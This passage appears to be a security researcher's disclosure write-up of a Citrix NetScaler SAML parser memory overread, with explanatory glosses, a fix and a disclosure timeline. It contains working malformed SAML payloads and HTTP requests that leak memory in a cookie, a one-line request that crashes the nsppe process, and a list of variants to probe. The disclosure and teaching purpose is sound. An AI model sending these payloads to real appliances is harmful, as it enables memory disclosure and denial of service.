Two things made the researchers suspicious. First, there are no obvious bounds checks: nothing stops the scan from running past the end of the input if the value is never terminated. Second, the termination rules differ between quoted and unquoted values. For quoted values, whitespace ends the value. For unquoted values, whitespace does not: the parser only stops at a null byte, a >, or the matching quote character. That difference is the seed of the whole bug.

Step 1: a clean baseline

Before breaking anything, the researchers sent a normal, well-formed SAML request to see what correct behaviour looks like. A baseline is a known-good reference point: if you change one thing and the result changes, you know the change caused it.

XML
<samlp:AuthnRequest
	xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
	xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
	ID="[redacted]"
	Version="2.0"
	ProviderName="SP test"
	Destination="<http://idp.example.com/SSOService.php>"
	ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
	AssertionConsumerServiceURL="<http://sp.example.com/demo1/index.php?acs>">
	<saml:Issuer><http://sp.example.com/demo1/metadata.php></saml:Issuer>
	<samlp:NameIDPolicy Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress" AllowCreate="true"/>
	<samlp:RequestedAuthnContext Comparison="exact">
	<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
	</samlp:RequestedAuthnContext>
</samlp:AuthnRequest>

This is a standard AuthnRequest. The opening tag carries several attributes: ID is a unique identifier for this request, Version is the SAML version, ProviderName is a human-readable label, Destination is where the request is going, ProtocolBinding says how the response should be delivered, and AssertionConsumerServiceURL is where the identity provider should send the user afterwards. Inside the element is an Issuer element naming the service provider, plus some policy elements.

The document is then base64-encoded and sent as a form field called SAMLRequest:

HTTP
POST /saml/login HTTP/1.1
Host: all-ur-boxen.com
Content-Length: 1090

SAMLRequest=[redacted]%[redacted]%[redacted]%2b

Line by line:

  1. POST /saml/login HTTP/1.1 says "I am sending data to the /saml/login endpoint using HTTP version 1.1". POST is the method used when you are submitting something.
  2. Host: all-ur-boxen.com names the server being contacted.
  3. Content-Length: 1090 tells the server how many bytes of body follow, so it knows when the body ends.
  4. The blank line separates headers from body.
  5. SAMLRequest= is the form field name, and everything after it is the base64-encoded XML. The %2b and %3d sequences are URL-encoded + and = characters, which have special meanings in URLs and so are written in escaped form.

The server answers with a redirect:

HTTP
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=[redacted]=;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http:
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>

Line by line:

  1. HTTP/1.1 302 Object Moved is the status line. 302 means "the thing you want is somewhere else, go there".
  2. Location: /vpn/index.html is where the browser is told to go next.
  3. The first Set-Cookie sets NSC_TASS, a cookie whose value is base64. This is the interesting one: it carries the parsed ID and AssertionConsumerServiceURL values. HttpOnly means JavaScript in the browser cannot read it, Path=/ means it applies to the whole site, and Secure means it is only sent over encrypted connections.
  4. The other Set-Cookie lines set various housekeeping cookies. Their values are shown as xyz, and their expiry dates are in 1999, which is a standard way of telling the browser to delete them immediately.
  5. The remaining headers are security and caching instructions. X-Content-Type-Options: nosniff stops the browser guessing file types; X-XSS-Protection is an old browser filter; the Cache-control and Pragma headers say "do not store this".
  6. The body is a small HTML page that redirects the user onwards.

The log shows what the parser made of the request:

XML
AuthnReq start tag parsed, id=<[redacted]>,
acs=<http://sp.example.com/demo1/index.php?acs>, forceAuth=<0>, binding=<POST>,
following data  "    ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"        AssertionConsumerServiceURL=""

Line by line:

  1. AuthnReq start tag parsed says the parser recognised the opening tag of the AuthnRequest.
  2. id=<[redacted]> is the ID attribute it extracted, matching what was sent.
  3. acs=<http://sp.example.com/demo1/index.php?acs> is the AssertionConsumerServiceURL value, also correct. acs is just shorthand for that long name.
  4. forceAuth=<0> is a setting that was not supplied, so it fell back to its default of zero.
  5. binding=<POST> is the protocol binding, correctly recognised.
  6. following data shows the raw text the parser had left over.

Everything is correct. That is the point: this is what normal looks like.

Step 2: end an unquoted value with a newline

Recall the suspicious difference: quoted values end at whitespace, unquoted values do not. So the researchers replaced the space after AssertionConsumerServiceURL with a newline, which is also whitespace, and left the value unquoted:

XML
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

Line by line:

  1. The opening tag has Version="2.0", quoted as normal.
  2. AssertionConsumerServiceURL=11 is unquoted, and the value 11 is followed by a newline rather than a space.
  3. id=22> is another unquoted attribute, 22, followed by the > that closes the opening tag.
  4. The Issuer element and the closing AuthnRequest tag follow as usual.

Base64-encoded and sent:

HTTP
POST /saml/login HTTP/1.1
Host: [redacted]
Content-Length: 190

SAMLRequest=[redacted]%[redacted]==

Line by line:

  1. POST /saml/login HTTP/1.1 sends data to the login endpoint.
  2. Host: [redacted] is the address of the test appliance.
  3. Content-Length: 190 is the body length.
  4. The body is the SAMLRequest field with the base64-encoded XML.

The response looks the same as before:

HTTP
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=[redacted]==;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http:
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>

Line by line:

  1. The status is again 302, so the request was accepted.
  2. The NSC_TASS cookie now has a different value, which is the first sign something changed.
  3. The other cookies and headers are the same housekeeping as before.
  4. The body is the same redirect page.

The log, however, tells a different story:

XML
AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=<Unknown>,
following data  Version="2.0" AssertionConsumerServiceURL=11 id=22> <saml:Issuer>watchtowr</saml:Issuer> </samlp:Au"

Line by line:

  1. id=<22> is correct: the ID attribute was 22.
  2. acs=<11 id=22> is wrong. The value should have been just 11. Instead the parser kept reading past the newline, swallowed the next line, and stopped only at the > that closes the opening tag.
  3. binding=<Unknown> is a side effect: because the parser consumed the rest of the tag, it never saw the binding.
  4. following data shows the raw text left over.

This is the first proof of the overread. The parser read past the end of the attribute value. It is still only reading text that was in the request, but it is reading more than it should.

Step 3: leave the opening tag unclosed

The parser turned out to be even more relaxed than expected. It accepts a < as the terminator for the opening AuthnRequest tag instead of the usual >. So the researchers ended both AssertionConsumerServiceURL and ID with newlines and left the opening tag unclosed:

XML
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=
id=
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

Line by line:

  1. The opening tag starts normally with Version="2.0".
  2. AssertionConsumerServiceURL= has no value at all; the newline follows the =.
  3. id= likewise has no value; another newline follows.
  4. The next line begins with <saml:Issuer>, which the parser will treat as the end of the opening tag.
  5. The Issuer element and the closing AuthnRequest tag follow.

Base64 and send:

HTTP
POST /saml/login HTTP/1.1
Host: [redacted]
Content-Length: 180

SAMLRequest=[redacted]=

Line by line:

  1. Host: [redacted] is the test appliance.
  2. Content-Length: 180 is the body length.
  3. The body is the base64-encoded XML.

The response is again a redirect:

HTTP
HTTP/1.1 302 Object Moved
Location: /vpn/index.html
Set-Cookie: NSC_TASS=[redacted]==;HttpOnly;Path=/;Secure
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http:
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_EPAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_USER=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_BASEURL=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CsrfToken=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: CtxsAuthId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: ASP.NET_SessionId=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAA=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_TMAS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TEMP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_PERS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
Set-Cookie: NSC_AAAC=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 398
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

<html><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><script type="text/javascript" src="/vpn/resources.js"></script><script type="text/javascript" src="/vpn/init/redirection_body_resources.js"></script></head><body><span id="This object may be found "></span><a href="/vpn/index.html"><span id="here"></span></a><span id="Trailing phrase after here"></span></body></html>

Line by line:

  1. The status is 302, so the request was accepted.
  2. The NSC_TASS cookie has changed again.
  3. The body is the same redirect page.

The log is where the action is:

XML
AuthnReq start tag parsed, id=<<saml:Issuer>, acs=<id= <saml:Issuer>,
forceAuth=<0>, binding=<Unknown>, following data  Version="2.0" AssertionConsumerServiceURL= id= <saml:Issuer>watchtowr</saml:Issuer> </samlp:AuthnRe"

Line by line:

  1. id=<<saml:Issuer> shows the ID value has swallowed the text <saml:Issuer>.
  2. acs=<id= <saml:Issuer> shows the AssertionConsumerServiceURL value has swallowed the next line and the Issuer opening tag.
  3. binding=<Unknown> is again a side effect of the parser consuming too much.

The parser is now reading well past the intended end of each attribute. It is still only reading XML that was in the request, but the amount it consumes is far more than it should.

Step 4: where the overread data ends up

A natural question is: what happens to the extra data the parser read? The answer is in the NSC_TASS cookie. On success, the function returns a response containing that cookie, and the cookie stores the ID and AssertionConsumerServiceURL values parsed from the request:

Text
NSC_TASS=[redacted]==

Line by line:

  1. NSC_TASS= is the cookie name.
  2. The value is base64. Decoding it gives the bytes shown next.

Decoded:

Text
00000000  61 73 64 66 00 49 44 3d  3c 73 61 6d 6c 3a 49 73  |asdf.ID=<saml:Is|
00000010  73 75 65 72 26 62 69 6e  64 3d 70 6f 73 74 26 41  |suer&bind=post&A|
00000020  43 53 55 52 4c 3d 69 64  3d 0a 3c 73 61 6d 6c 3a  |CSURL=id=.<saml:|
00000030  49 73 73 75 65 72 00                              |Issuer.|

Line by line:

  1. The left column is the offset in the data, in hex.
  2. The middle columns are the bytes themselves, in hex. 61 73 64 66 is asdf, 00 is a null byte, 49 44 3d is ID=, and so on.
  3. The right column is the same bytes shown as text where they are printable, with a dot for anything that is not.
  4. asdf is the configured provider name.
  5. ID= is followed by <saml:Is..., which is the overread data: the ID field now contains <saml:Issuer.
  6. ACSURL= is followed by id= and a newline and <saml:, which is the overread data for the other attribute.
  7. The final 00 is a null byte.

So the overread data is being copied into a cookie and sent back to the client. That is the moment a parsing bug becomes an information leak. So far, though, the leaked data is still only text from the request itself.

From the original on labs.watchtowr.com

The next challenge is obvious: instead of reading within the request, can the parser be made to read beyond the end of the request?

Step 5: reading beyond the end of the request

The researchers spent a while trying to push the parser past the end of the request buffer. After trial and error, they concluded the login request needed to satisfy three conditions:

  1. It must contain both a <samlp:AuthnRequest> and a corresponding </samlp:AuthnRequest>. The request cannot simply be left unterminated.
  2. It must contain a valid <saml:Issuer>watchtowr</saml:Issuer>.
  3. It must contain either an AssertionConsumerServiceURL= or ID attribute terminated by a newline, or not terminated at all.

At first glance those requirements seem mutually exclusive: you cannot both close the element and leave an attribute unterminated. They are not, because the parser is also relaxed about element nesting:

XML
<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22
</samlp:AuthnRequest>
<saml:Issuer>watchtowr</saml:Issuer>

Line by line:

  1. The opening tag starts normally.
  2. AssertionConsumerServiceURL=11 is unquoted and followed by a newline.
  3. id=22 is unquoted and followed by a newline.
  4. </samlp:AuthnRequest> closes the element, satisfying the first condition.
  5. <saml:Issuer>watchtowr</saml:Issuer> is now outside the AuthnRequest, satisfying the second condition.

Any sane parser would reject this, because the Issuer is not inside the AuthnRequest. NetScaler accepts it:

XML
AuthnReq start tag parsed, id=<22 <saml:Issuer>, acs=<11 id=22 <saml:Issuer>, forceAuth=<0>, binding=<Unknown>

Line by line:

  1. id=<22 <saml:Issuer> shows the ID value has swallowed the next line and the Issuer opening tag.
  2. acs=<11 id=22 <saml:Issuer> shows the AssertionConsumerServiceURL value has done the same.
  3. binding=<Unknown> is again a side effect.

One important detail: this only works if the opening AuthnRequest tag is left unterminated. If it is closed normally, the parser rejects the document. That strongly suggests the behaviour is tied to the parser's attribute-handling logic.

The parser is also tolerant of attribute ordering. Here the attributes are placed after the closing tag:

XML
<samlp:AuthnRequest
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
AssertionConsumerServiceURL="22"

Line by line:

  1. The opening tag starts but is not closed.
  2. <saml2:issuer>watchtowr</saml2:issuer> is an issuer element, placed inside the opening tag.
  3. </samlp:AuthnRequest> closes the element.
  4. Version="2.0", id="11" and AssertionConsumerServiceURL="22" are attributes placed after the closing tag, which is not valid XML.

This yields a successful response, although the extracted details are incorrect:

XML
AuthnReq start tag parsed, id=<>, acs=<22>, forceAuth=<0>, binding=<Unknown>

Line by line:

  1. id=<> shows the ID value came out empty.
  2. acs=<22> shows the AssertionConsumerServiceURL value came out as 22, which is correct, because the value was enclosed in quotes.
  3. binding=<Unknown> is again a side effect.

The acs value is correct because it was quoted. The next step removes the quotes and leaves the value unterminated:

XML
<samlp:AuthnRequest
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"
AssertionConsumerServiceURL=

Line by line:

  1. The issuer element sits inside the opening tag.
  2. The closing tag follows.
  3. Version="2.0" and id="11" are quoted attributes after the closing tag.
  4. AssertionConsumerServiceURL= has no value and no terminator; it is the last thing in the document.

And in the log:

XML
AuthnReq start tag parsed, id=<>, acs=<▒^M▒ᆳ▒="2.0" id="11"
AssertionConsumerServiceURL="22"ᆳ▒mple.com/demo1/index.php</saml:Issuer>,
forceAuth=<0>, binding=<Unknown>

Line by line:

  1. id=<> is empty.
  2. acs=<▒^M▒ᆳ▒="2.0" id="11" shows the AssertionConsumerServiceURL value now contains strange characters, then the text ="2.0" id="11". The strange characters are bytes that are not valid text.
  3. AssertionConsumerServiceURL="22"ᆳ▒mple.com/demo1/index.php</saml:Issuer> continues the value with more strange bytes and then text that looks like it came from a different request entirely.
  4. binding=<Unknown> is again a side effect.
From the original on labs.watchtowr.com

The parser is no longer just reading extra XML. It is pulling arbitrary binary data from beyond the end of the XML buffer and appending it to the parsed value. The remaining question is whether that value makes it back to the client via the NSC_TASS cookie:

Text
NSC_TASS=[redacted]=

Line by line:

  1. NSC_TASS= is the cookie name.
  2. The value is base64. Decoding it gives the bytes shown next.

Decoded:

Text
00000000  61 73 64 66 00 49 44 3d  26 62 69 6e 64 3d 70 6f  |asdf.ID=&bind=po|
00000010  73 74 26 41 43 53 55 52  4c 3d f0 0d 90 ef be ad  |st&ACSURL=......|
00000020  de 3d 22 32 2e 30 22 0a  69 64 3d 22 31 31 22 0a  |.="2.0".id="11".|
00000030  41 73 73 65 72 74 69 6f  6e 43 6f 6e 73 75 6d 65  |AssertionConsume|
00000040  72 53 65 72 76 69 63 65  55 52 4c 3d 22 32 32 22  |rServiceURL="22"|
00000050  ef be ad de 6d 70 6c 65  2e 63 6f 6d 2f 64 65 6d  |....mple.com/dem|
00000060  6f 31 2f 69 6e 64 65 78  2e 70 68 70 3c 2f 73 61  |o1/index.php</sa|
00000070  6d 6c 3a 49 73 73 75  65  72 00                    |ml:Issuer.|

Line by line:

  1. The left column is the offset in hex.
  2. The middle columns are the bytes in hex.
  3. The right column is the same bytes as text where printable, with a dot for anything that is not.
  4. asdf is the configured provider name.
  5. ID= is followed by &bind=post&ACSURL=, the cookie's internal structure.
  6. f0 0d 90 ef be ad de are bytes that are not valid text. ef be ad de is the famous 0xdeadbeef filler pattern, written in little-endian order (the bytes are stored least significant first).
  7. ="2.0" and id="11" and AssertionConsumerServiceURL="22" are text from the request.
  8. ef be ad de appears again, followed by mple.com/demo1/index.php</saml:Issuer>, which is text from a different request.
  9. The final 00 is a null byte.

The ACSURL value now contains binary data that should never have been returned, including the unmistakable 0xdeadbeef fill pattern. The parser has read beyond the end of the XML buffer, and NetScaler has returned memory that was never supposed to leave the process.

From the original on labs.watchtowr.com

One difference from the earlier CVE-2026-3055 matters here. In that bug, kilobytes of binary data could be leaked. In this one, the overread stops when it hits various control characters, such as a null byte or even a >. In practice, by varying the request length, the researchers could consistently squeeze a few bytes out of the server:

Text
c:\>python watchTowr-vs-Netscaler-CVE-2026-8451.py <https://[redacted]>
..
Leaked bytes:
00000000  f0 0d 90 de de de de de de de de de de de de de   |................|
00000010  de de de de de de de de de de de de de de de de   |................|
00000020  de de de de de de de de de de de de de de de de   |................|
00000030  de de de de de de de de de de de de de de de de   |................|
00000040  de de de de de de de de de de de de de de ed a7   |................|
00000050  0c a1 35 00                                       |..5.|
..

Line by line:

  1. c:\> is a Windows command prompt.
  2. python watchTowr-vs-Netscaler-CVE-2026-8451.py <https://[redacted]> runs the researchers' script against the test appliance.
  3. .. means output was omitted.
  4. Leaked bytes: introduces the hex dump of what came back.
  5. The left column is the offset in hex.
  6. The middle columns are the bytes in hex. f0 0d is the value 0xf00d, and de repeats many times, which is another filler pattern.
  7. The final 00 is a null byte.

There is clearly data leaking (0xf00d), and what appears to be a data pointer (0xa10ca7ed). The researchers cannot say with certainty what this pointer references, but it looks plausible. If it is a valid process pointer, the bug graduates from a simple information disclosure to a genuine infoleak primitive. Paired with a suitable memory corruption vulnerability, it could be exactly the kind of building block needed for a full device compromise.

Step 6: crashing the appliance

If the goal is to demonstrate impact rather than build an exploit chain, there is a much easier route. Requests as simple as the following reliably crash the target system:

XML
<samlp:AuthnRequest ID=

Line by line:

  1. <samlp:AuthnRequest starts the opening tag.
  2. ID= begins an attribute with no value and no terminator.
  3. The document ends there, with no closing tag and no closing >.
HTTP
POST /saml/login HTTP/1.1
Host: [redacted]
Content-Length: 46

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D

Line by line:

  1. Host: [redacted] is the test appliance.
  2. Content-Length: 46 is the body length.
  3. The body is the base64-encoded XML. %3D is a URL-encoded =.

This request causes the nsppe process to crash:

From the original on labs.watchtowr.com

nsppe is the NetScaler process that crashes. When it crashes, the appliance stops serving requests.

Detection artefact generator

The researchers published a Detection Artefact Generator on GitHub so that defenders can check their own systems and plan remediation. Running it produces the same leaked-bytes output shown above:

Line by line:

  1. c:\> is a Windows command prompt.
  2. python watchTowr-vs-Netscaler-CVE-2026-8451.py <https: runs the script against a target.
  3. .. means output was omitted.
  4. Leaked bytes: introduces the hex dump.
  5. The left column is the offset in hex.
  6. The middle columns are the bytes in hex.
  7. The final 00 is a null byte.

Root cause

The root cause is the hand-written XML attribute parser. In the unquoted-value path, whitespace is not treated as a terminator: the parser only stops at a null byte, a closing >, or the matching quote character. There are no obvious bounds checks, so a value that is never properly terminated causes the parser to keep scanning past the end of the attribute, past the end of the XML document, and into adjacent memory. The parser's tolerance of an unclosed start tag (accepting < as a terminator) and of arbitrary element nesting and attribute ordering lets an attacker construct a document that satisfies the SAML endpoint's structural requirements while still leaving an attribute value unterminated. The overread value is then embedded in the NSC_TASS cookie and returned to the client, turning the parsing bug into a memory disclosure. The report does not describe any defence that would have stopped this.

Impact

An attacker can cause a NetScaler configured as a SAML IdP to return small amounts of process memory in the NSC_TASS cookie. The leak is limited: the overread stops at control characters such as a null byte or >, so only a few bytes can be squeezed out per request, in contrast to CVE-2026-3055 where kilobytes can be leaked. The leaked data includes what appears to be a data pointer, which, if valid, makes this a genuine infoleak primitive that could be combined with a memory corruption vulnerability towards full device compromise. Separately, a trivial request reliably crashes the nsppe process. The report does not state which configurations beyond SAML IdP are affected, nor whether exploitation has been observed in the wild.

Fix

Citrix published an advisory and patches on 30th June 2026, addressing the affected versions listed above. From the root cause, a fix would need to ensure that unquoted attribute values are terminated on whitespace as well as on null, > and quote characters, and that the scan loop is bounded by the end of the input buffer.

Variants to test

  1. Terminate other unquoted attributes with a newline or carriage return in SAML documents and watch the log for values that extend past the intended end. A positive result is a parsed value containing characters from the following markup.
  2. Leave an attribute value unterminated at the very end of the document, as in AssertionConsumerServiceURL=, and inspect the NSC_TASS cookie for bytes that are not valid XML. A positive result is binary data or fill patterns such as 0xdeadbeef.
  3. Move required elements such as Issuer outside the AuthnRequest while leaving the start tag unclosed. A positive result is a successful 302 with a log line showing the Issuer text absorbed into id or acs.
  4. Reorder attributes after the closing tag, as in the Version/id/AssertionConsumerServiceURL example, and check whether the endpoint still accepts the document. A positive result is a successful response with incorrect extracted values.
  5. Vary request length systematically and record how many bytes leak before a control character stops the read. A positive result is a consistent few-byte leak across lengths.
  6. Send a minimal unterminated attribute such as <samlp:AuthnRequest ID= and check whether the nsppe process restarts. A positive result is a crash or service restart.

Timeline

Date Detail
28th March 2026 watchTowr discovers issue, notifies Citrix and affected clients
28th March 2026 Citrix responds with what appears to be an automatic reply
30th April 2026 watchTowr requests update from Citrix
7th May 2026 watchTowr again requests update from Citrix
7th May 2026 Citrix advises that a fix is being developed
14 June 2026 Citrix advise they expect to publish on 29th June
25th June 2026 Citrix advises that a fix may be delayed by 'a few days'; watchTowr responds that this is acceptable
30th June 2026 Citrix publish advisory and patches
30th June 2026 watchTowr publishes research, and memes
From the original on labs.watchtowr.com

Glossary

  • API: a defined way for one program to ask another to do something, usually over a network.
  • Attribute: a name and value written inside an XML tag, such as id="22".
  • AuthnRequest: the SAML message a service provider sends to an identity provider to ask it to authenticate a user.
  • Base64: an encoding that turns arbitrary bytes into plain letters and digits so they can travel inside text formats. Not encryption.
  • Baseline: a known-good reference result used to compare against later changes.
  • Binary data: bytes that are not intended to be read as text.
  • Bounds check: a check that stops a program reading or writing outside the area it was given.
  • Buffer: a reserved area of memory holding data being worked on.
  • Client: the program making a request, usually a browser.
  • Cookie: a small piece of text a server asks a browser to store and send back on later requests.
  • Denial of service: making a service unavailable, for example by crashing it.
  • Endpoint: a specific address on a server that does one job.
  • Identity provider (IdP): the system in SAML that checks a user's credentials on behalf of other applications.
  • Information leak: a bug that lets private data leave a program.
  • Log file: a running diary a program writes as it works.
  • Memory disclosure: a bug that lets private memory be read by someone who should not see it.
  • Memory overread: reading memory beyond the area a program was supposed to read.
  • Null byte: a byte with the value zero, often used to mark the end of text.
  • Parser: the part of a program that reads text in a format such as XML and turns it into data.
  • Pointer: a number recording where something lives in memory.
  • POST: the HTTP method used when submitting data.
  • SAML: a standard for single sign-on between an identity provider and a service provider.
  • Server: a computer that answers requests.
  • Service provider: the system in SAML that trusts the identity provider's confirmation of who a user is.
  • Status code: a number in an HTTP response saying what happened, such as 302 for a redirect.
  • Token: a value, often inside a cookie, that stands in for something else, such as proof of login.
  • Zero-day: a vulnerability that is not yet publicly known or patched.

More by Aliz Hammond

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.